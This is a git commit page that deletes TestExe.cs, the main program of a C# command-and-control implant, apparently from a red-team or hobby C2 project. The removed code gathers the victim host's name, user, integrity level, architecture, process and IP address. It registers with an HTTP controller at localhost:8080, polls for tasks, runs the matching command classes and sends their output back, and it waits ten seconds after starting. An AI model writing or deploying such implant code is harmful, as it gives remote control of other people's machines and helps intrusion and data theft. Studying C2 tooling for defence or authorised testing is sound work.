Delete TestExe.cs
This commit is contained in:
parent
bb90d3565e
commit
8e88926179
|
@ -1,87 +0,0 @@
|
||||||
using System;
|
|
||||||
using System.Collections.Generic;
|
|
||||||
using System.Diagnostics;
|
|
||||||
using System.Linq;
|
|
||||||
using System.Reflection;
|
|
||||||
using System.Threading;
|
|
||||||
|
|
||||||
using Implant.Models;
|
|
||||||
using Implant.Utils;
|
|
||||||
|
|
||||||
namespace Implant
|
|
||||||
{
|
|
||||||
class Program
|
|
||||||
{
|
|
||||||
private static ImplantData _implantData;
|
|
||||||
private static Comms _comms;
|
|
||||||
private static CancellationTokenSource _cancelToken;
|
|
||||||
|
|
||||||
private static List<ImplantCommands> _commands = new List<ImplantCommands>();
|
|
||||||
|
|
||||||
//put into utils
|
|
||||||
public static void GenImplantData(){
|
|
||||||
var proc = Process.GetCurrentProcess();
|
|
||||||
|
|
||||||
_implantData = new ImplantData {
|
|
||||||
// get DNS hostname
|
|
||||||
ID = ImplantDataUtils.GenImplantName(), HostName = Environment.MachineName,
|
|
||||||
User = Environment.UserName, Integrity = ImplantDataUtils.ReturnIntegrity(),
|
|
||||||
Arch = ImplantDataUtils.ReturnArch(),
|
|
||||||
ProcID = proc.Id, ProcName = proc.ProcessName,
|
|
||||||
IPAddr = ImplantDataUtils.GetHostIP()
|
|
||||||
};
|
|
||||||
|
|
||||||
proc.Dispose();
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void SendTaskOut(string _id, string _out) {
|
|
||||||
var taskOut = new ImplantTaskOut { Id = _id, TaskOut = _out };
|
|
||||||
_comms.DataSend(taskOut);
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void HandleTask(ImplantTask task) {
|
|
||||||
var command = _commands.FirstOrDefault(cmd => cmd.Name.Equals(task.Command, StringComparison.InvariantCultureIgnoreCase));
|
|
||||||
if (command is null) { return; }
|
|
||||||
|
|
||||||
var _out = command.Execute(task);
|
|
||||||
SendTaskOut(task.Id, _out);
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void HandleTasks(IEnumerable<ImplantTask> tasks) {
|
|
||||||
foreach (var task in tasks) { HandleTask(task); }
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void ImplantCommandsInit()
|
|
||||||
{
|
|
||||||
foreach (Type type in Assembly.GetExecutingAssembly().GetTypes())
|
|
||||||
{
|
|
||||||
if (type.IsSubclassOf(typeof(ImplantCommands)))
|
|
||||||
{
|
|
||||||
ImplantCommands cmd = Activator.CreateInstance(type) as ImplantCommands;
|
|
||||||
_commands.Add(cmd);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public void Stop() { _cancelToken.Cancel(); }
|
|
||||||
|
|
||||||
static void Main(string[] args) {
|
|
||||||
|
|
||||||
Thread.Sleep(10000);
|
|
||||||
|
|
||||||
GenImplantData();
|
|
||||||
ImplantCommandsInit();
|
|
||||||
|
|
||||||
_comms = new HTTPComms("localhost", 8080);
|
|
||||||
_comms.ImplantInit(_implantData);
|
|
||||||
_comms.Start();
|
|
||||||
|
|
||||||
_cancelToken = new CancellationTokenSource();
|
|
||||||
|
|
||||||
while (!_cancelToken.IsCancellationRequested) {
|
|
||||||
if (_comms.DataRecv(out var tasks)) { HandleTasks(tasks); }
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
}
|
|
Loading…
Reference in New Issue